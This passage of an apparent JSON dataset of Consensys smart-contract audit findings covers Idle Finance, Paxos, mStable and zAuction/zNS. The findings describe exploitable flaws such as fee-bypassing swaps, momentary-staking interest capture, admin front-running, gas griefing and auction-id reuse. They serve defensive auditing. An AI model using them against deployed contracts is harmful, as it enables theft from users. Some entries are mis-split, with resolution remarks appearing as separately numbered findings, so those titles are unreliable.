", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/06/idle-finance/"}, {"title": "6.4 Prevent zero amount transfers/minting ", "body": " Resolution The development team has addressed this concern in commit a72747da8c0ca71274f3a1506c6faf724cf82dd2. This change has not been reviewed by the audit team. Description Many of the functions in the system can be called with amount = 0. This is not a security issue, however a defense in depth approach in this and similar cases may prevent an undiscovered bug from being exploitable. Most of the functionalities that were reviewed in this audit won t create an exploitable state transition in these cases, however they will trigger a 0 token transfer or minting. Examples depositAA() depositBB() stake() unstake() Recommendation Check and return early (or revert) on requests with zero amount. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/06/idle-finance/"}, {"title": "6.5 Missing Sanity checks ", "body": " Resolution The development team has addressed this concern in commit a1d5dac0ad5f562d4c75bff99e770d92bcc2a72f. This change has not been reviewed by the audit team. Description The implementation of initialize() functions are missing some sanity checks. The proper checks are implemented in some of the setter functions but missing in some others. Examples Missing sanity check for != address(0) code/contracts/IdleCDO.sol:L54-L57 token = _guardedToken; strategy = _strategy; strategyToken = IIdleCDOStrategy(_strategy).strategyToken(); rebalancer = _rebalancer; code/contracts/IdleCDO.sol:L84-L84 guardian = _owner; code/contracts/IdleCDO.sol:L672-L673 address _currAAStaking = AAStaking; address _currBBStaking = BBStaking; code/contracts/IdleCDOTrancheRewards.sol:L50-L53 idleCDO = _idleCDO; tranche = _trancheToken; rewards = _rewards; governanceRecoveryFund = _governanceRecoveryFund; Recommendation Add sanity checks before assigning system variables. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/06/idle-finance/"}, {"title": "6.6 IdleCDO.virtualPrice() & _updatePrices() too complicated to verify ", "body": " Resolution These methods were revisited in the continuation of the original review and more time was allotted to them than was possible previously. Some refactoring also occurred during that time (see 6.2). However, the development team elected to maintain the general approach used in these functions. The primary challenge in verifying their correctness remains, which is their heavy reliance on external interactions with contracts whose expected semantics are poorly defined. Description IdleCDO.virtualPrice() and _updatePrices() functions are used for many important functionality in the Idle system. They also have nested external calls to many other contracts (e.g. IdleTokenGovernance, IdleCDOStrategy and strategy token, IdleCDOTranche on both Tranche tokens, etc). This level of complexity for a vital function is not recommended and is considered dangerous implementation. Examples Recommendation Consider refactoring the code to use less complicated logic and code flow. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/06/idle-finance/"}, {"title": "3.1 Owners can never be removed ", "body": " Resolution This has been fixed in paxosglobal/simple-multisig#5, and appropriate tests have been added. Description The intention of setOwners() is to replace the current set of owners with a new set of owners. However, the isOwner mapping is never updated, which means any address that was ever considered an owner is permanently considered an owner for purposes of signing transactions. Recommendation In setOwners_(), before adding new owners, loop through the current set of owners and clear their isOwner booleans, as in the following code: for (uint256 i = 0; i < ownersArr.length; i++) { isOwner[ownersArr[i]] = false; ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/paxos/"}, {"title": "6.1 Swap fees can be bypassed using redeemMasset Addressed", "body": " Resolution This issue was reported independently via the bug bounty program and was fixed early during the audit. The fix has already been deployed on mainnet using the upgrade mechanism Description Part of the value proposition for liquidity providers is earning fees incurred for swapping between assets. However, traders can perform fee-less swaps by providing liquidity in one bAsset, followed by calling redeemMasset() to convert the resulting mAssets back into a proportional amount of bAssets. Since removing liquidity via redeemMasset() does not incur a fee this is equivalent to doing a swap with zero fees. As a very simple example, assuming a pool with 2 bAssets (say, DAI and USDT), it would be possible to swap 10 DAI to USDT as follows: Add 20 DAI to the pool, receive 20 mUSD call redeemMasset() to redeem 10 DAI and 10 USDT Examples The boolean argument applyFee is set to false in _redeemMasset: code/contracts/masset/Masset.sol:L569 _settleRedemption(_recipient, _mAssetQuantity, props.bAssets, bAssetQuantities, props.indexes, props.integrators, false); Recommendation Charge a small redemption fee in redeemMasset(). ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.2 Users can collect interest from SavingsContract by only staking mTokens momentarily Addressed", "body": " Resolution The blocker on collecting interest more than once in 30 minute period. A new APY bounds check has been added to verify that supply isn t inflated by more than 0.1% within a 30 minutes window. Description The SAVE contract allows users to deposit mAssets in return for lending yield and swap fees. When depositing mAsset, users receive a credit tokens at the momentary credit/mAsset exchange rate which is updated at every deposit. However, the smart contract enforces a minimum timeframe of 30 minutes in which the interest rate will not be updated. A user who deposits shortly before the end of the timeframe will receive credits at the stale interest rate and can immediately trigger and update of the rate and withdraw at the updated (more favorable) rate after the 30 minutes window. As a result, it would be possible for users to benefit from interest payouts by only staking mAssets momentarily and using them for other purposes the rest of the time. Examples code/contracts/savings/SavingsManager.sol:L141-L143 // 1. Only collect interest if it has been 30 mins uint256 timeSinceLastCollection = now.sub(previousCollection); if(timeSinceLastCollection > THIRTY_MINUTES) { Recommendation Remove the 30 minutes window such that every deposit also updates the exchange rate between credits and tokens. Note that this issue was reported independently during the bug bounty program and a fix is currently being worked on. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.3 Internal accounting of vault balance may diverge from actual token balance in lending pool ", "body": " Resolution After discussion with the team the risk of this invariant violation was considered negligible as the gas cost increase for querying constantly querying the lending pool would outweigh the size of the accounting error of only 1 base unit. Description It is possible that the vault balance for a given bAsset is greater than the corresponding balance in the lending pool. This violates one of the correctness properties stated in the audit brief. Our Harvey fuzzer was able to generate a transaction that mints a small amount (0xf500) of mAsset. Due to the way that the lending pool integration (Compound in this case) updates the vault balance it ends up greater than the available balance in the lending pool. More specifically, the integration contract assumes that the amount deposited into the pool is equal to the amount received by the mAsset contract for the case where no transaction fees are charged for token transfers: code/contracts/masset/platform-integrations/CompoundIntegration.sol:L45-L58 quantityDeposited = _amount; if(_isTokenFeeCharged) { // If we charge a fee, account for it uint256 prevBal = _checkBalance(cToken); require(cToken.mint(_amount) == 0, \"cToken mint failed\"); uint256 newBal = _checkBalance(cToken); quantityDeposited = _min(quantityDeposited, newBal.sub(prevBal)); } else { // Else just execute the mint require(cToken.mint(_amount) == 0, \"cToken mint failed\"); emit Deposit(_bAsset, address(cToken), quantityDeposited); For illustration, consider the following scenario: assume your current balance in a lending pool is 0. When you deposit some amount X into the lending pool your balance after the deposit may be less than X (even if the underlying token does not charge transfer fees). One reason for this is rounding, but, in theory, a lending pool could also charge fees, etc. The vault balance is updated in function Masset._mintTo based on the amount returned by the integration. code/contracts/masset/Masset.sol:L189 basketManager.increaseVaultBalance(bInfo.index, integrator, quantityDeposited); code/contracts/masset/Masset.sol:L274 uint256 deposited = IPlatformIntegration(_integrator).deposit(_bAsset, quantityTransferred, _erc20TransferFeeCharged); This violation of the correctness property is temporary since the vault balance is readjusted when interest is collected. However, the time frame of ca. 30 minutes between interest collections (may be longer if no continuous interest is distributed) means that it may be violated for substantial periods of time. code/contracts/masset/BasketManager.sol:L243-L249 uint256 balance = IPlatformIntegration(integrations[i]).checkBalance(b.addr); uint256 oldVaultBalance = b.vaultBalance; // accumulate interest (ratioed bAsset) if(balance > oldVaultBalance && b.status == BassetStatus.Normal) { // Update balance basket.bassets[i].vaultBalance = balance; The regular updates due to interest collection should ensure that the difference stays relatively small. However, note that the following scenarios is feasible: assuming there is 0 DAI in the basket, a user mints X mUSD by depositing X DAI. While the interest collection hasn t been triggered yet, the user tries to redeem X mUSD for DAI. This may fail since the amount of DAI in the lending pool is smaller than X. Recommendation It seems like this issue could be fixed by using the balance increase from the lending pool to update the vault balance (much like for the scenario where transfer fees are charged) instead of using the amount received. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.4 Missing validation in Masset._redeemTo ", "body": " Resolution An explicit check will be added with the next Masset proxy upgrade. Description In function _redeemTo the collateralisation ratio is not taken into account unlike in _redeemMasset: code/contracts/masset/Masset.sol:L558-L561 uint256 colRatio = StableMath.min(props.colRatio, StableMath.getFullScale()); // Ensure payout is related to the collateralised mAsset quantity uint256 collateralisedMassetQuantity = _mAssetQuantity.mulTruncate(colRatio); It seems like _redeemTo should not be executed if the collateralisation ratio is below 100%. However, the contracts (that is, Masset and ForgeValidator) themselves don t seem to enforce this explicitly. Instead, the governor needs to ensure that the collateralisation ratio is only set to a value below 100% when the basket is not healthy (for instance, if it is considered failed ). Failing to ensure this may allow an attacker to redeem a disproportionate amount of assets. Note that the functionality for setting the collateralisation ratio is not currently implemented in the audited code. Recommendation Consider enforcing the intended use of _redeemTo more explicitly. For instance, it might be possible to introduce additional input validation by requiring that the collateralisation ratio is not below 100%. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.5 Removing a bAsset might leave some tokens stuck in the vault ", "body": " Resolution The issue was acknowledged and downgraded to minor risk as only very small token amounts can be affected. A fix will be triaged for a future update. Description In function _removeBasset there is existing validation to make sure only empty vaults are removed: code/contracts/masset/BasketManager.sol:L464 require(bAsset.vaultBalance == 0, \"bAsset vault must be empty\"); However, this is not necessarily sufficient since the lending pool balance may be higher than the vault balance. The reason is that the vault balance is usually slightly out-of-date due to the 30 minutes time span between interest collections. Consider the scenario: (1) a user swaps out an asset 29 minutes after the last interest collection to reduce its vault balance from 100 USD to 0, and (2) the governor subsequently remove the asset. During those 29 minutes the asset was collecting interest (according to the lending pool the balance was higher than 100 USD at the time of the swap) that is now stuck in the vault. Recommendation Consider adding additional input validation (for instance, by requiring that the lending pool balance to be 0) or triggering a swap directly when removing an asset from the basket. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.6 Unused parameter in BasketManager._addBasset ", "body": " Resolution While the parameter is not currently used it will be used in future mAssets such as mGOLD. Description It seems like the _measurementMultiple parameter is always StableMath.getRatioScale() (1e8). There is also some range validation code that seems unnecessary if the parameter is always 1e8. code/contracts/masset/BasketManager.sol:L310 require(_measurementMultiple >= 1e6 && _measurementMultiple <= 1e10, \"MM out of range\"); Recommendation Consider removing the parameter and the input validation to improve the readability of the code. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.7 Unused event BasketStatusChanged ", "body": " Resolution This event will be used in future releases. Description It seems like the event BasketManager.BasketStatusChanged event is unused. Recommendation Consider removing the event declaration to improve the readability of the code. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.8 Assumptions are made about interest distribution ", "body": " Description There is a mechanism that prevents interest collection if the extrapolated APY exceeds a threshold (MAX_APY). code/contracts/savings/SavingsManager.sol:L174 require(extrapolatedAPY < MAX_APY, \"Interest protected from inflating past maxAPY\"); The extrapolation seems to assume that the interest is payed out frequently and continuously. It seems like a less frequent payout (for instance, once a month/year) could be rejected since the extrapolation considers the interest since the last time that collectAndDistributeInterest was called (potentially without interest being collected). Recommendation Consider revisiting or documenting this assumption. For instance, one could consider extrapolating between the current time and the last time that (non-zero) interest was actually collected. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.9 Assumptions are made about Aave and Compound integrations ", "body": " Resolution it was acknowledged that unexpected changes in behaviour by the integrated lending pools could potentially cause issues; However, it was decided that the risk is minor since the current lending pool behaviour is known and the fact that lending pools might introduce severe changes is accounted for by keeping the integrations separate and upgradable such that governance can react these changes in time. Description The code makes several assumptions about the Aave and Compound integrations. A malicious or malfunctioning integration (or lending pool) might violate those assumptions. This might lead to unintended behavior in the system. Below are three such assumptions: function checkBalance reverts if the token hasn t been added: code/contracts/masset/BasketManager.sol:L317 IPlatformIntegration(_integration).checkBalance(_bAsset); function withdraw is trusted to not fail when it shouldn t: code/contracts/masset/Masset.sol:L611 IPlatformIntegration(_integrators[i]).withdraw(_recipient, bAsset, q, _bAssets[i].isTransferFeeCharged); the mapping from mAssets to pTokens is fixed: code/contracts/masset/platform-integrations/InitializableAbstractIntegration.sol:L119 require(bAssetToPToken[_bAsset] == address(0), \"pToken already set\"); The first assumption could be avoided by adding a designated function to check if the token was added. The second assumption is more difficult to avoid, but should be considered when adding new integrations. The system needs to trust the lending pools to work properly; for instance, if the lending pool would blacklist the integration contract the system may behave in unintended ways. The third assumption could be avoided, but it comes at a cost. Recommendation Consider revisiting or avoiding these assumptions. For any assumptions that are there by design it would be good to document them to facilitate future changes. One should also be careful to avoid coupling between external systems. For instance, if withdrawing from Aave fails this should not prevent withdrawing from Compound. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.10 Assumptions are made about bAssets ", "body": " Description The code makes several assumptions about the bAssets that can be used. A malicious or malfunctioning asset contract might violate those assumptions. This might lead to unintended behavior in the system. Below there are several such assumptions: Decimals of a bAsset are constant where the decimals are used to derive the asset s ratio: code/contracts/masset/BasketManager.sol:L319 uint256 bAsset_decimals = CommonHelpers.getDecimals(_bAsset); Decimals must be in a range from 4 to 18: code/contracts/shared/CommonHelpers.sol:L23 require(decimals >= 4 && decimals <= 18, \"Token must have sufficient decimal places\"); The governor is able to foresee when transfer fees are charged (which needs to be called if anything changes); in theory, assets could be much more flexible in when transfer fees are charged (for instance, during certain periods or for certain users) code/contracts/masset/BasketManager.sol:L425 function setTransferFeesFlag(address _bAsset, bool _flag) It seems like some of these assumptions could be avoided, but there might be a cost. For instance, one could retrieve the decimals directly instead of caching them and one could always enable the setting where transfer fees may be charged. Recommendation Consider revisiting or avoiding these assumptions. For any assumptions that are there by design it would be good to document them to facilitate future changes. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}] \ No newline at end of file diff --git a/results/consensys_findings_3.json b/results/consensys_findings_3.json new file mode 100644 index 0000000..5a8d94a --- /dev/null +++ b/results/consensys_findings_3.json @@ -0,0 +1 @@ +[{"title": "6.11 Unused field in ForgePropsMulti struct ", "body": " Resolution The field is currently used but will be used in a future version. Description The ForgePropsMulti struct defines the field isValid which always seems to be true: code/contracts/masset/shared/MassetStructs.sol:L78-L84 /** @dev All details needed to Forge with multiple bAssets */ struct ForgePropsMulti { bool isValid; // Flag to signify that forge bAssets have passed validity check Basset[] bAssets; address[] integrators; uint8[] indexes; If it is indeed always true, one could remove the following line: code/contracts/masset/Masset.sol:L518 if(!props.isValid) return 0; Recommendation If the field is indeed always true please consider removing it to simplify the code. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.12 BassetStatus enum defines multiple unused states ", "body": " Resolution The states will potentially be used in future releases. Description The BassetStatus enum defines several values that do not seem to be assigned in the code: Default (different from Normal ?) Blacklisted Liquidating Liquidated Failed code/contracts/masset/shared/MassetStructs.sol:L59-L69 /** @dev Status of the Basset - has it broken its peg? */ enum BassetStatus { Default, Normal, BrokenBelowPeg, BrokenAbovePeg, Blacklisted, Liquidating, Liquidated, Failed Since some of these are used in the code there might be some dead code that can be removed as a result. For example: code/contracts/masset/forge-validator/ForgeValidator.sol:L46-L47 _bAsset.status == BassetStatus.Liquidating || _bAsset.status == BassetStatus.Blacklisted Recommendation If those values are indeed never used please consider removing them to simplify the code. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.13 Potential gas savings by terminating early ", "body": " Resolution acknowledged that gas savings are possible, might be moved changed in a future version. Description If a function invocation is bound to revert, one should try to revert as soon as possible to save gas. In ForgeValidator.validateRedemption it is possible to terminate more early: code/contracts/masset/forge-validator/ForgeValidator.sol:L264 if(atLeastOneBecameOverweight) return (false, \"bAssets must remain below max weight\", false); Recommendation Consider moving the require-statement a few lines up (for instance, after assigning to atLeastOneBecameOverweight). ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.14 Discrepancy between code and comments Addressed", "body": " Resolution The comments have been updated. Description There is a discrepancy between the code at: code/contracts/masset/BasketManager.sol:L417 require(weightSum >= 1e18 && weightSum <= 4e18, \"Basket weight must be >= 100 && <= 400%\"); And the comment at: code/contracts/masset/BasketManager.sol:L409 Recommendation @dev Throws if the total Basket weight does not sum to 100 Recommendation Update the code or the comment to be consistent. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "6.15 Outdated Solidity version ", "body": " Resolution the issue was deemed acceptable because an update to solc 0.5.17 would not fix any relevant security bugs. Description The codebase is using an outdated version of the Solidity compiler. Recommendation Please consider using an up-to-date version (ideally 0.6.12 or at least 0.5.17). ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/07/mstable-1.1/"}, {"title": "5.1 zAuction - incomplete / dead code zWithdraw and zDeposit ", "body": " Resolution obsolete with changes from zer0-os/zAuction@135b2aa removing the Description Examples zAuction/contracts/zAuctionAccountant.sol:L44-L52 function zDeposit(address to) external payable onlyZauction { ethbalance[to] = SafeMath.add(ethbalance[to], msg.value); emit zDeposited(to, msg.value); function zWithdraw(address from, uint256 amount) external onlyZauction { ethbalance[from] = SafeMath.sub(ethbalance[from], amount); emit zWithdrew(from, amount); Recommendation The methods do not seem to be used by the zAuction contract. It is highly discouraged from shipping incomplete implementations in productive code. Remove dead/unreachable code. Fix the implementations to perform proper accounting before reintroducing them if they are called by zAuction. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.2 zAuction - Unpredictable behavior for users due to admin front running or general bad timing ", "body": " Resolution obsolete with changes from zer0-os/zAuction@135b2aa removing the zAccountAccountant. The client provided the following remark: ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.20 accountant deprecated", "body": " Description An administrator of zAuctionAccountant contract can update the zAuction contract without warning. This has the potential to violate a security goal of the system. Specifically, privileged roles could use front running to make malicious changes just ahead of incoming transactions, or purely accidental negative effects could occur due to the unfortunate timing of changes. In general users of the system should have assurances about the behavior of the action they re about to take. Examples updating the zAuction takes effect immediately. This has the potential to fail acceptance of bids by sellers on the now outdated zAuction contract as interaction with the accountant contract is now rejected. This forces bidders to reissue their bids in order for the seller to be able to accept them using the Accountant contract. This may also be used by admins to selectively censor the acceptance of accountant based bids by changing the active zAuction address. zAuction/contracts/zAuctionAccountant.sol:L60-L68 function SetZauction(address zauctionaddress) external onlyAdmin{ zauction = zauctionaddress; emit ZauctionSet(zauctionaddress); function SetAdmin(address newadmin) external onlyAdmin{ admin = newadmin; emit AdminSet(msg.sender, newadmin); Upgradeable contracts may introduce the same unpredictability issues where the proxyUpgradeable owner may divert execution to a new zNS registrar implementation selectively for certain transactions or without prior notice to users. Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and this is because the behavior can change at any time. We recommend giving the user advance notice of changes with a time lock. For example, make all system-parameter and upgrades require two steps with a mandatory time window between them. The first step merely broadcasts to users that a particular change is coming, and the second step commits that change after a suitable waiting period. This allows users that do not accept the change to withdraw immediately. Validate arguments before updating contract addresses (at least != current/0x0). Consider implementing a 2-step admin ownership transfer (transfer+accept) to avoid losing control of the contract by providing the wrong ETH address. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.3 zAuction, zNS - Bids cannot be cancelled, never expire, and the auction lifecycle is unclear ", "body": " Resolution Addressed with zer0-os/zNS@ab7d62a by refactoring the StakingController to control the lifecycle of bids instead of handling this off-chain. Addressed with zer0-os/zAuction@135b2aa for zAuction by adding a bid/saleOffer expiration for bids. The client also provided the following statement: ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.6 added expireblock and startblock to zauction, expireblock to zsale", "body": " Decided not to add a cancel function. Paying gas to cancel isn t ideal, and it can be used as a griefing function. though that s still possible to do by moving weth but differently The stateless nature of auctions may make it hard to enforce bid/sale expirations and it is not possible to cancel a bid/offer that should not be valid anymore. The expiration reduces the risk of old offers being used as they now automatically invalidate after time, however, it is still likely that multiple valid offers may be present at the same time. As outlined in the recommendation, one option would be to allow someone who signed a commitment to explicitly cancel it in the contract. Another option would be to create a stateful auction where the entity that puts up something for starts an auction, creating an auction id, requiring bidders to bid on that auction id. Once a bid is accepted the auction id is invalidated which invalidates all bids that might be floating around. zer0-os/zAuction@2f92aa1 for Description The lifecycle of a bid both for zAuction and zNS is not clear, and has many flaws. zAuction - Consider the case where a bid is placed, then the underlying asset in being transferred to a new owner. The new owner can now force to sell the asset even though it s might not be relevant anymore. zAuction - Once a bid was accepted and the asset was transferred, all other bids need to be invalidated automatically, otherwise and old bid might be accepted even after the formal auction is over. zAuction, zNS - There is no way for the bidder to cancel an old bid. That might be useful in the event of a significant change in market trend, where the old pricing is no longer relevant. Currently, in order to cancel a bid, the bidder can either withdraw his ether balance from the zAuctionAccountant, or disapprove WETH which requires an extra transaction that might be front-runned by the seller. Examples zAuction/contracts/zAuction.sol:L35-L45 function acceptBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); accountant.Exchange(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit BidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); zNS/contracts/StakingController.sol:L120-L152 function fulfillDomainBid( uint256 parentId, uint256 bidAmount, uint256 royaltyAmount, string memory bidIPFSHash, string memory name, string memory metadata, bytes memory signature, bool lockOnCreation, address recipient ) external { bytes32 recoveredBidHash = createBid(parentId, bidAmount, bidIPFSHash, name); address recoveredBidder = recover(recoveredBidHash, signature); require(recipient == recoveredBidder, \"ZNS: bid info doesnt match/exist\"); bytes32 hashOfSig = keccak256(abi.encode(signature)); require(approvedBids[hashOfSig] == true, \"ZNS: has been fullfilled\"); infinity.safeTransferFrom(recoveredBidder, controller, bidAmount); uint256 id = registrar.registerDomain(parentId, name, controller, recoveredBidder); registrar.setDomainMetadataUri(id, metadata); registrar.setDomainRoyaltyAmount(id, royaltyAmount); registrar.transferFrom(controller, recoveredBidder, id); if (lockOnCreation) { registrar.lockDomainMetadataForOwner(id); approvedBids[hashOfSig] = false; emit DomainBidFulfilled( metadata, name, recoveredBidder, id, parentId ); Recommendation Consider adding an expiration field to the message signed by the bidder both for zAuction and zNS. Consider adding auction control, creating an auctionId, and have users bid on specific auctions. By adding this id to the signed message, all other bids are invalidated automatically and users would have to place new bids for a new auction. Optionally allow users to cancel bids explicitly. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.4 zAuction - pot. initialization fronrunning and unnecessary init function ", "body": " Resolution Addressed with zer0-os/zAuction@135b2aa and the following statement: ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.21 init deprecated, constructor added", "body": " Description The zAuction initialization method is unprotected and while only being executable once, can be called by anyone. This might allow someone to monitor the mempool for new deployments of this contract and fron-run the initialization to initialize it with different parameters. A mitigating factor is that this condition can be detected by the deployer as subsequent calls to init() will fail. Note: this doesn t adhere to common interface naming convention/oz naming convention where this method would be called initialize. Note: that zNS in contrast relies on ou/initializable pattern with proper naming. Note: that this function might not be necessary at all and should be replaced by a constructor instead, as the contract is not used with a proxy pattern. Examples zAuction/contracts/zAuction.sol:L22-L26 function init(address accountantaddress) external { require(!initialized); initialized = true; accountant = zAuctionAccountant(accountantaddress); Recommendation The contract is not used in a proxy pattern, hence, the initialization should be performed in the constructor instead. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.5 zAuction - unclear upgrade path ", "body": " Resolution obsolete with changes from zer0-os/zAuction@135b2aa removing the Description https://github.com/ConsenSys/zer0-zauction-audit-2021-05/issues/7). Acceptance of bids via the accountant on the old contract immediately fail after an admin updates the referenced zAuction contract while WETH bids may still continue. This may create an unfavorable scenario where two contracts may be active in parallel accepting WETH bids. It should also be noted that 2nd layer bids (signed data) using the accountant for the old contract will not be acceptable anymore. Examples zAuction/contracts/zAuctionAccountant.sol:L60-L63 function SetZauction(address zauctionaddress) external onlyAdmin{ zauction = zauctionaddress; emit ZauctionSet(zauctionaddress); Recommendation Consider re-thinking the upgrade path. Avoid keeping multiple versions of the auction contact active. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.6 zAuction, zNS - gas griefing by spamming offchain fake bids ", "body": " Resolution Addressed and acknowledged with changes from zer0-os/zAuction@135b2aa. The client provided the following remark: ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.19 I have attempted to order the requires sensibly, putting the least expensive first. Please advise if the ordering is optimal. gas griefing will be mitigated in the dapp with off-client checks", "body": " Description The execution status of both zAuction.acceptBid and StakingController.fulfillDomainBid transactions depend on the bidder, as his approval is needed, his signature is being validated, etc. However, these transactions can be submitted by accounts that are different from the bidder account, or for accounts that do not have the required funds/deposits available, luring the account that has to perform the on-chain call into spending gas on a transaction that is deemed to fail (gas griefing). E.g. posting high-value fake bids for zAuction without having funds deposited or WETH approved. Examples zNS/contracts/StakingController.sol:L120-L152 function fulfillDomainBid( uint256 parentId, uint256 bidAmount, uint256 royaltyAmount, string memory bidIPFSHash, string memory name, string memory metadata, bytes memory signature, bool lockOnCreation, address recipient ) external { bytes32 recoveredBidHash = createBid(parentId, bidAmount, bidIPFSHash, name); address recoveredBidder = recover(recoveredBidHash, signature); require(recipient == recoveredBidder, \"ZNS: bid info doesnt match/exist\"); bytes32 hashOfSig = keccak256(abi.encode(signature)); require(approvedBids[hashOfSig] == true, \"ZNS: has been fullfilled\"); infinity.safeTransferFrom(recoveredBidder, controller, bidAmount); uint256 id = registrar.registerDomain(parentId, name, controller, recoveredBidder); registrar.setDomainMetadataUri(id, metadata); registrar.setDomainRoyaltyAmount(id, royaltyAmount); registrar.transferFrom(controller, recoveredBidder, id); if (lockOnCreation) { registrar.lockDomainMetadataForOwner(id); approvedBids[hashOfSig] = false; emit DomainBidFulfilled( metadata, name, recoveredBidder, id, parentId ); zAuction/contracts/zAuction.sol:L35-L44 function acceptBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); accountant.Exchange(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit BidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); Recommendation Revert early for checks that depend on the bidder before performing gas-intensive computations. Consider adding a dry-run validation for off-chain components before transaction submission. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.7 zAuction - functionality outlined in specification that is not implemented yet ", "body": " Resolution implemented as zer0-os/zAuction@135b2aa. Description The specification outlines three main user journeys of which one does not seem to be implemented. Users will be able to do simple transfer of NFTs. - which does not require functionality in the smart contract Users will be able to post NFTs at a sale price, and buy at that price. - does not seem to be implemented Users will be able to post NFTs for auction, bid on auctions, and accept bids - is implemented Recommendation User flow (2) is not implemented in the smart contract system. Consider updating the spec or clearly highlighting functionality that is still in development for it to be excluded from security testing. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.8 zAuction - auctions/offers can be terminated by reusing the auction id ", "body": " Resolution zer0-os/zAuction@8ff0eab by binding In the zSale case the saleId is chosen by the seller. The offer (signed offer parameters including saleid) is shared on an off-chain channel. The buyer calls zSale.purchase to buy the token from the offer. The offer and all offers containing the same seller+saleid are then invalidated. In zAuction there is no seller or someone who initiates an auction. Anyone can bid for nft s held by anyone else. The bidder chooses an auction id. There might be multiple bidders. Since the auctionId is an individual choice and the smart contract does not enforce an auction to be started there may be multiple auctions for the same token but using different auction ids. The current mechanism automatically invalidates all current bids for the token+auctionId combination for the winning bidder. Bids by other holders are not automatically invalidated but they can be invalidated manually via cancelBidsUnderPrice for an auctionId. Note that the winning bid is chosen by the nftowner/seller. The new owner of the nft may be able to immediately accept another bid and transfer the token [seller]--acceptBid-->[newOwner-A]--acceptBid-->[newOwner-B]. Description zer0-os/zAuction@2f92aa1 introduced a way of tracking auctions/sales by using an auctionId/saleId. The id s are unique and the same id cannot be used for multiple auctions/offers. Two different auctions/offers may pick the same id, the first auction/offer will go through while the latter cannot be fulfilled anymore. This may happen accidentally or intentionally be forced by a malicious actor to terminate active auctions/sales (griefing, front-running). Examples Alice puts out an offer for someone to buy nft X at a specific price. Bob decides to accept that offer and buy the nft by calling zSale.purchase(saleid, price, token, ...). Mallory monitors the mempool, sees this transaction, 